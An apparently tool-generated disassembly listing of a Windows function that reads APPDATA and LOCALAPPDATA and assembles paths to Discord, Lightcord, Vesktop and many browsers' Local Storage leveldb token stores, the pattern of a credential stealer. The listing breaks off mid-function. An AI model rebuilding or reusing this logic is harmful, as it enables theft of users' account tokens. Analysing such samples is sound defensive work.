Function at 0x14000e7e0
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x778]
sub rsp, 0x850
movaps xmmword [rax - 0x38], xmm6
mov rax, qword [0x140046040]
xor rax, rsp
mov qword [rbp + 0x738], rax
mov r12, rcx
mov qword [rbp + 0x1e0], rcx
xor esi, esi
mov dword [rsp + 0x30], esi
call fcn.140009320
mov qword [rcx], rsi
mov qword [rcx + 8], rsi
mov qword [rcx + 0x10], rsi
mov dword [rsp + 0x30], 1
lea rcx, str.APPDATA
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
mov r14, rax
lea rcx, str.LOCALAPPDATA
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
mov rbx, rax
lea rcx, [rbp + 0x690]
call fcn.140009320
mov rdx, r14
lea rcx, [rbp + 0x10]
call fcn.140015040
nop
lea r8, str.discordLocal_Storageleveldb_
mov rdx, rax
lea rcx, [rbp + 0x220]
call fcn.140018550
nop
mov rdx, r14
lea rcx, [rbp + 0x6e8]
call fcn.140015040
nop
lea r8, str.discordcanaryLocal_Storageleveldb_
mov rdx, rax
lea rcx, [rbp + 0x240]
call fcn.140018550
nop
mov rdx, r14
lea rcx, [rbp + 0x1c0]
call fcn.140015040
nop
lea r8, str.LightcordLocal_Storageleveldb_
mov rdx, rax
lea rcx, [rbp + 0x260]
call fcn.140018550
nop
mov rdx, r14
lea rcx, [rbp + 0xa0]
call fcn.140015040
nop
lea r8, str.discordptbLocal_Storageleveldb_
mov rdx, rax
lea rcx, [rbp + 0x280]
call fcn.140018550
nop
mov rdx, r14
lea rcx, [rbp + 0x1a0]
call fcn.140015040
nop
lea r8, str.Opera_SoftwareOpera_StableLocal_Storageleveldb_
mov rdx, rax
lea rcx, [rbp + 0x2a0]
call fcn.140018550
nop
mov rdx, r14
lea rcx, [rbp + 0x60]
call fcn.140015040
nop
lea r8, str.Opera_SoftwareOpera_GX_StableLocal_Storageleveldb_
mov rdx, rax
lea rcx, [rbp + 0x2c0]
call fcn.140018550
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x650], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x660], xmm1
mov rdi, 0xffffffffffffffff
mov r8, rdi
inc r8
cmp byte [rbx + r8], 0
jne 0x14000e972
mov rdx, rbx
lea rcx, [rbp + 0x650]
call fcn.140019740
nop
lea r8, str.AmigoUser_DataLocal_Storageleveldb_
lea rdx, [rbp + 0x650]
lea rcx, [rbp + 0x2e0]
call fcn.140018550
nop
mov rdx, rbx
lea rcx, [rbp + 0x80]
call fcn.140015040
nop
lea r8, str.TorchUser_DataLocal_Storageleveldb_
mov rdx, rax
lea rcx, [rbp + 0x300]
call fcn.140018550
nop
mov rdx, rbx
lea rcx, [rbp + 0xc0]
call fcn.140015040
nop
lea r8, str.KometaUser_DataLocal_Storageleveldb_
mov rdx, rax
lea rcx, [rbp + 0x320]
call fcn.140018550
nop
mov rdx, rbx
lea rcx, [rbp + 0xe0]
call fcn.140015040
nop
lea r8, str.OrbitumUser_DataLocal_Storageleveldb_
mov rdx, rax
lea rcx, [rbp + 0x340]
call fcn.140018550
nop
mov rdx, rbx
lea rcx, [rbp + 0x100]
call fcn.140015040
nop
lea r8, str.CentBrowserUser_DataLocal_Storageleveldb_
mov rdx, rax
lea rcx, [rbp + 0x360]
call fcn.140018550
nop
mov rdx, rbx
lea rcx, [rbp + 0x120]
call fcn.140015040
nop
lea r8, str.7Star7StarUser_DataLocal_Storageleveldb_
mov rdx, rax
lea rcx, [rbp + 0x380]
call fcn.140018550
nop
mov rdx, rbx
lea rcx, [rbp + 0x140]
call fcn.140015040
nop
lea r8, str.SputnikSputnikUser_DataLocal_Storageleveldb_
mov rdx, rax
lea rcx, [rbp + 0x3a0]
call fcn.140018550
nop
mov rdx, rbx
lea rcx, [rbp + 0x160]
call fcn.140015040
nop
lea r8, str.VivaldiUser_DataDefaultLocal_Storageleveldb_
mov rdx, rax
lea rcx, [rbp + 0x3c0]
call fcn.140018550
nop
mov rdx, rbx
lea rcx, [rbp + 0x180]
call fcn.140015040
nop
lea r8, str.GoogleChrome_SxSUser_DataLocal_Storageleveldb_
mov rdx, rax
lea rcx, [rbp + 0x3e0]
call fcn.140018550
nop
mov rdx, rbx
lea rcx, [rbp + 0x5c0]
call fcn.140015040
nop
lea r8, str.GoogleChromeUser_DataDefaultLocal_Storageleveldb_
mov rdx, rax
lea rcx, [rbp + 0x400]
call fcn.140018550
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x80], xmm1
mov r8, rdi
nop dword [rax]
inc r8
cmp byte [rbx + r8], 0
jne 0x14000eb20
mov rdx, rbx
lea rcx, [rsp + 0x70]
call fcn.140019740
nop
mov r8d, 0x39
lea rdx, str.GoogleChromeUser_DataProfile_1Local_Storageleveldb_
lea rcx, [rsp + 0x70]
call fcn.140016c10
xorps xmm0, xmm0
movups xmmword [rbp + 0x420], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x430], xmm1
movups xmm0, xmmword [rax]
movaps xmmword [rbp + 0x420], xmm0
movups xmm1, xmmword [rax + 0x10]
movaps xmmword [rbp + 0x430], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], recv
mov byte [rax], 0
mov dword [rsp + 0x30], 0x10001
xorps xmm0, xmm0
movups xmmword [rbp - 0x70], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x60], xmm1
mov r8, rdi
inc r8
cmp byte [rbx + r8], 0
jne 0x14000eba2
mov rdx, rbx
lea rcx, [rbp - 0x70]
call fcn.140019740
nop
mov r8d, 0x39
lea rdx, str.GoogleChromeUser_DataProfile_2Local_Storageleveldb_
lea rcx, [rbp - 0x70]
call fcn.140016c10
xorps xmm0, xmm0
movups xmmword [rbp + 0x440], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x450], xmm1
movups xmm0, xmmword [rax]
movaps xmmword [rbp + 0x440], xmm0
movups xmm1, xmmword [rax + 0x10]
movaps xmmword [rbp + 0x450], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], recv
mov byte [rax], 0
mov dword [rsp + 0x30], 0x30001
xorps xmm0, xmm0
movups xmmword [rbp + 0x6a8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x6b8], xmm1
mov r8, rdi
nop dword [rax + rax]
inc r8
cmp byte [rbx + r8], 0
jne 0x14000ec30
mov rdx, rbx
lea rcx, [rbp + 0x6a8]
call fcn.140019740
nop
mov r8d, 0x39
lea rdx, str.GoogleChromeUser_DataProfile_3Local_Storageleveldb_
lea rcx, [rbp + 0x6a8]
call fcn.140016c10
xorps xmm0, xmm0
movups xmmword [rbp + 0x460], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x470], xmm1
movups xmm0, xmmword [rax]
movaps xmmword [rbp + 0x460], xmm0
movups xmm1, xmmword [rax + 0x10]
movaps xmmword [rbp + 0x470], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], recv
mov byte [rax], 0
mov dword [rsp + 0x30], 0x70001
xorps xmm0, xmm0
movups xmmword [rbp - 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x40], xmm1
mov r8, rdi
inc r8
cmp byte [rbx + r8], 0
jne 0x14000ecb6
mov rdx, rbx
lea rcx, [rbp - 0x50]
call fcn.140019740
nop
mov r8d, 0x39
lea rdx, str.GoogleChromeUser_DataProfile_4Local_Storageleveldb_
lea rcx, [rbp - 0x50]
call fcn.140016c10
xorps xmm0, xmm0
movups xmmword [rbp + 0x480], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x490], xmm1
movups xmm0, xmmword [rax]
movaps xmmword [rbp + 0x480], xmm0
movups xmm1, xmmword [rax + 0x10]
movaps xmmword [rbp + 0x490], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], recv
mov byte [rax], 0
mov dword [rsp + 0x30], 0xf0001
xorps xmm0, xmm0
movups xmmword [rbp - 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x20], xmm1
mov r8, rdi
inc r8
cmp byte [rbx + r8], 0
jne 0x14000ed36
mov rdx, rbx
lea rcx, [rbp - 0x30]
call fcn.140019740
nop
mov r8d, 0x39
lea rdx, str.GoogleChromeUser_DataProfile_5Local_Storageleveldb_
lea rcx, [rbp - 0x30]
call fcn.140016c10
xorps xmm0, xmm0
movups xmmword [rbp + 0x4a0], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x4b0], xmm1
movups xmm0, xmmword [rax]
movaps xmmword [rbp + 0x4a0], xmm0
movups xmm1, xmmword [rax + 0x10]
movaps xmmword [rbp + 0x4b0], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], recv
mov byte [rax], 0
mov dword [rsp + 0x30], 0x1f0001
xorps xmm0, xmm0
movups xmmword [rbp - 0x10], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp], xmm1
mov r8, rdi
inc r8
cmp byte [rbx + r8], 0
jne 0x14000edb6
mov rdx, rbx
lea rcx, [rbp - 0x10]
call fcn.140019740
nop
mov r8d, 0x36
lea rdx, str.Epic_Privacy_BrowserUser_DataLocal_Storageleveldb_
lea rcx, [rbp - 0x10]
call fcn.140016c10
xorps xmm0, xmm0
movups xmmword [rbp + 0x4c0], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x4d0], xmm1
movups xmm0, xmmword [rax]
movaps xmmword [rbp + 0x4c0], xmm0
movups xmm1, xmmword [rax + 0x10]
movaps xmmword [rbp + 0x4d0], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], recv
mov byte [rax], 0
mov dword [rsp + 0x30], 0x3f0001
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x60], xmm1
mov r8, rdi
nop dword [rax + rax]
inc r8
cmp byte [rbx + r8], 0
jne 0x14000ee40
mov rdx, rbx
lea rcx, [rsp + 0x50]
call fcn.140019740
nop
mov r8d, 0x38
lea rdx, str.MicrosoftEdgeUser_DataDefaultLocal_Storageleveldb_
lea rcx, [rsp + 0x50]
call fcn.140016c10
xorps xmm0, xmm0
movups xmmword [rbp + 0x4e0], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x4f0], xmm1
movups xmm0, xmmword [rax]
movaps xmmword [rbp + 0x4e0], xmm0
movups xmm1, xmmword [rax + 0x10]
movaps xmmword [rbp + 0x4f0], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], recv
mov byte [rax], 0
mov dword [rsp + 0x30], 0x7f0001
xorps xmm0, xmm0
movups xmmword [rbp + 0x6c8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x6d8], xmm1
mov r8, rdi
nop dword [rax + rax]
inc r8
cmp byte [rbx + r8], 0
jne 0x14000eed0
mov rdx, rbx
lea rcx, [rbp + 0x6c8]
call fcn.140019740
nop
mov r8d, 0x38
lea rdx, str.uCozMediaUranUser_DataDefaultLocal_Storageleveldb_
lea rcx, [rbp + 0x6c8]
call fcn.140016c10
xorps xmm0, xmm0
movups xmmword [rbp + 0x500], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x510], xmm1
movups xmm0, xmmword [rax]
movaps xmmword [rbp + 0x500], xmm0
movups xmm1, xmmword [rax + 0x10]
movaps xmmword [rbp + 0x510], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], recv
mov byte [rax], 0
mov dword [rsp + 0x30], 0xff0001
xorps xmm0, xmm0
movups xmmword [rbp + 0x5a0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x5b0], xmm1
mov r8, rdi
nop dword [rax]
inc r8
cmp byte [rbx + r8], 0
jne 0x14000ef60
mov rdx, rbx
lea rcx, [rbp + 0x5a0]
call fcn.140019740
nop
mov r8d, 0x3e
lea rdx, str.YandexYandexBrowserUser_DataDefaultLocal_Storageleveldb_
lea rcx, [rbp + 0x5a0]
call fcn.140016c10
xorps xmm0, xmm0
movups xmmword [rbp + 0x520], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x530], xmm1
movups xmm0, xmmword [rax]
movaps xmmword [rbp + 0x520], xmm0
movups xmm1, xmmword [rax + 0x10]
movaps xmmword [rbp + 0x530], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], recv
mov byte [rax], 0
mov dword [rsp + 0x30], 0x1ff0001
xorps xmm0, xmm0
movups xmmword [rbp + 0x610], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x620], xmm1
mov r8, rdi
nop dword [rax]
inc r8
cmp byte [rbx + r8], 0
jne 0x14000eff0
mov rdx, rbx
lea rcx, [rbp + 0x610]
call fcn.140019740
nop
mov r8d, 0x45
lea rdx, str.BraveSoftwareBrave_BrowserUser_DataDefaultLocal_Storageleveldb_
lea rcx, [rbp + 0x610]
call fcn.140016c10
xorps xmm0, xmm0
movups xmmword [rbp + 0x540], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x550], xmm1
movups xmm0, xmmword [rax]
movaps xmmword [rbp + 0x540], xmm0
movups xmm1, xmmword [rax + 0x10]
movaps xmmword [rbp + 0x550], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], recv
mov byte [rax], 0
mov dword [rsp + 0x30], 0x3ff0001
xorps xmm0, xmm0
movups xmmword [rbp + 0x630], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x640], xmm1
mov r8, rdi
nop dword [rax]
inc r8
cmp byte [rbx + r8], 0
jne 0x14000f080
mov rdx, rbx
lea rcx, [rbp + 0x630]
call fcn.140019740
nop
mov r8d, 0x31
lea rdx, str.IridiumUser_DataDefaultLocal_Storageleveldb_
lea rcx, [rbp + 0x630]
call fcn.140016c10
xorps xmm0, xmm0
movups xmmword [rbp + 0x560], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x570], xmm1
movups xmm0, xmmword [rax]
movaps xmmword [rbp + 0x560], xmm0
movups xmm1, xmmword [rax + 0x10]
movaps xmmword [rbp + 0x570], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], recv
mov byte [rax], 0
mov dword [rsp + 0x30], 0x7ff0001
xorps xmm0, xmm0
movups xmmword [rbp + 0x5f0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x600], xmm1
nop dword [rax]
inc rdi
cmp byte [r14 + rdi], 0
jne 0x14000f110
mov r8, rdi
mov rdx, r14
lea rcx, [rbp + 0x5f0]
call fcn.140019740
nop
mov r8d, 0x2b
lea rdx, str._vesktop_sessionDataLocal_Storageleveldb_
lea rcx, [rbp + 0x5f0]
call fcn.140016c10
xorps xmm0, xmm0
movups xmmword [rbp + 0x580], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x590], xmm1
movups xmm0, xmmword [rax]
movaps xmmword [rbp + 0x580], xmm0
movups xmm1, xmmword [rax + 0x10]
movaps xmmword [rbp + 0x590], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], recv
mov byte [rax], 0
mov edi, 0xfff0001
mov dword [rsp + 0x30], edi
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x690], xmm0
mov qword [rbp + 0x6a0], rsi
mov edx, 0x1c
lea rcx, [rbp + 0x690]
call fcn.14001c840
lea rax, [rbp + 0x690]
mov qword [rsp + 0x40], rax
lea r14, [rbp + 0x220]
xorps xmm0, xmm0
movups xmmword [rbp + 0x670], xmm0
mov rbx, qword [rbp + 0x690]
mov qword [rbp + 0x670], rbx
mov qword [rbp + 0x678], rbx
lea rax, [rbp + 0x690]
mov qword [rbp + 0x680], rax
nop dword [rax + rax]
mov rdx, r14
mov rcx, rbx
call fcn.140015080
add rbx, 0x20
mov qword [rbp + 0x678], rbx
add r14, 0x20
lea rax, [rbp + 0x5a0]
cmp r14, rax
jne 0x14000f1f0
mov rdx, rbx
mov rcx, rbx
call fcn.140019de0
mov qword [rbp + 0x698], rbx
lea r9, [fcn.14000c800]
mov edx, 0x20
mov r8d, 0x1c
lea rcx, [rbp + 0x220]
call fcn.140032cc4
nop
mov rdx, qword [rbp + 0x608]
cmp rdx, 0xf
jbe 0x14000f28b
inc rdx
mov rcx, qword [rbp + 0x5f0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000f286
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000f286
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400329e0
movdqa xmm6, xmmword [0x14003b170]
movdqu xmmword [rbp + 0x600], xmm6
mov byte [rbp + 0x5f0], 0
mov rdx, qword [rbp + 0x648]
cmp rdx, 0xf
jbe 0x14000f2e6
inc rdx
mov rcx, qword [rbp + 0x630]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000f2e1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000f2e1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400329e0
movdqu xmmword [rbp + 0x640], xmm6
mov byte [rbp + 0x630], 0
mov rdx, qword [rbp + 0x628]
cmp rdx, 0xf
jbe 0x14000f339
inc rdx
mov rcx, qword [rbp + 0x610]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000f334
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000f334
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400329e0
movdqu xmmword [rbp + 0x620], xmm6
mov byte [rbp + 0x610], 0
mov rdx, qword [rbp + 0x5b8]
cmp rdx, 0xf
jbe 0x14000f38c
inc rdx
mov rcx, qword [rbp + 0x5a0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000f387
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000f387
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400329e0
movdqu xmmword [rbp + 0x5b0], xmm6
mov byte [rbp + 0x5a0], 0
mov rdx, qword [rbp + 0x6e0]
cmp rdx, 0xf
jbe 0x14000f3df
inc rdx
mov rcx, qword [rbp + 0x6c8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000f3da
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000f3da
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400329e0
movdqu xmmword [rbp + 0x6d8], xmm6
mov byte [rbp + 0x6c8], 0
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x14000f42e
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000f429
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000f429
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400329e0
movdqu xmmword [rsp + 0x60], xmm6
mov byte [rsp + 0x50], 0
mov rdx, qword [rbp + 8]
cmp rdx, 0xf
jbe 0x14000f477
inc rdx
mov rcx, qword [rbp - 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000f472
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000f472
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400329e0
movdqu xmmword [rbp], xmm6
mov byte [rbp - 0x10], 0
mov rdx, qword [rbp - 0x18]
cmp rdx, 0xf
jbe 0x14000f4be
inc rdx
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000f4b9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000f4b9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400329e0
movdqu xmmword [rbp - 0x20], xmm6
mov byte [rbp - 0x30], 0
mov rdx, qword [rbp - 0x38]
cmp rdx, 0xf
jbe 0x14000f505
inc rdx
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000f500
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000f500
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400329e0
movdqu xmmword [rbp - 0x40], xmm6
mov byte [rbp - 0x50], 0
lea rcx, [rbp + 0x6a8]
call fcn.14000c800
nop
mov rdx, qword [rbp - 0x58]
cmp rdx, 0xf
jbe 0x14000f559
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000f554
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000f554
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400329e0
movdqu xmmword [rbp - 0x60], xmm6
mov byte [rbp - 0x70], 0
mov rdx, qword [rbp - 0x78]
cmp rdx, 0xf
jbe 0x14000f5a1
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000f59c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000f59c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400329e0
movdqu xmmword [rbp - 0x80], xmm6
mov byte [rsp + 0x70], 0
mov rdx, qword [rbp + 0x5d8]
cmp rdx, 0xf
jbe 0x14000f5ef
inc rdx
mov rcx, qword [rbp + 0x5c0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000f5ea
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000f5ea
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400329e0
movdqu xmmword [rbp + 0x5d0], xmm6
mov byte [rbp + 0x5c0], 0
mov rdx, qword [rbp + 0x198]
cmp rdx, 0xf
jbe 0x14000f642
inc rdx
mov rcx, qword [rbp + 0x180]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000f63d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000f63d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400329e0
movdqu xmmword [rbp + 0x190], xmm6
mov byte [rbp + 0x180], 0
mov rdx, qword [rbp + 0x178]
cmp rdx, 0xf
jbe 0x14000f695
inc rdx
mov rcx, qword [rbp + 0x160]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000f690
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000f690
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400329e0
movdqu xmmword [rbp + 0x170], xmm6
mov byte [rbp + 0x160], 0
mov rdx, qword [rbp + 0x158]
cmp rdx, 0xf
jbe 0x14000f6e8
inc rdx
mov rcx, qword [rbp + 0x140]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000f6e3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000f6e3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400329e0
movdqu xmmword [rbp + 0x150], xmm6
mov byte [rbp + 0x140], 0
mov rdx, qword [rbp + 0x138]
cmp rdx, 0xf
jbe 0x14000f73b
inc rdx
mov rcx, qword [rbp + 0x120]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000f736
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000f736
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400329e0
movdqu xmmword [rbp + 0x130], xmm6
mov byte [rbp + 0x120], 0
mov rdx, qword [rbp + 0x118]
cmp rdx, 0xf
jbe 0x14000f78e
inc rdx
mov rcx, qword [rbp + 0x100]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000f789
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000f789
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400329e0
movdqu xmmword [rbp + 0x110], xmm6
mov byte [rbp + 0x100], 0
mov rdx, qword [rbp + 0xf8]
cmp rdx, 0xf
jbe 0x14000f7e1
inc rdx
mov rcx, qword [rbp + 0xe0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000f7dc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000f7dc
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400329e0
movdqu xmmword [rbp + 0xf0], xmm6
mov byte [rbp + 0xe0], 0
mov rdx, qword [rbp + 0xd8]
cmp rdx, 0xf
jbe 0x14000f834
inc rdx
mov rcx, qword [rbp + 0xc0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000f82f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000f82f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400329e0
movdqu xmmword [rbp + 0xd0], xmm6
mov byte [rbp + 0xc0], 0
mov rdx, qword [rbp + 0x98]
cmp rdx, 0xf
jbe 0x14000f887
inc rdx
mov rcx, qword [rbp + 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000f882
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000f882
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400329e0
movdqu xmmword [rbp + 0x90], xmm6
mov byte [rbp + 0x80], 0
mov rdx, qword [rbp + 0x668]
cmp rdx, 0xf
jbe 0x14000f8da
inc rdx
mov rcx, qword [rbp + 0x650]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000f8d5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000f8d5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400329e0
movdqu xmmword [rbp + 0x660], xmm6
mov byte [rbp + 0x650], 0
mov rdx, qword [rbp + 0x78]
cmp rdx, 0xf
jbe 0x14000f927
inc rdx
mov rcx, qword [rbp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000f922
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000f922
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400329e0
movdqu xmmword [rbp + 0x70], xmm6
mov byte [rbp + 0x60], 0
mov rdx, qword [rbp + 0x1b8]
cmp rdx, 0xf
jbe 0x14000f974
inc rdx
mov rcx, qword [rbp + 0x1a0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000f96f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000f96f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400329e0
movdqu xmmword [rbp + 0x1b0], xmm6
mov byte [rbp + 0x1a0], 0
mov rdx, qword [rbp + 0xb8]
cmp rdx, 0xf
jbe 0x14000f9c7
inc rdx
mov rcx, qword [rbp + 0xa0]
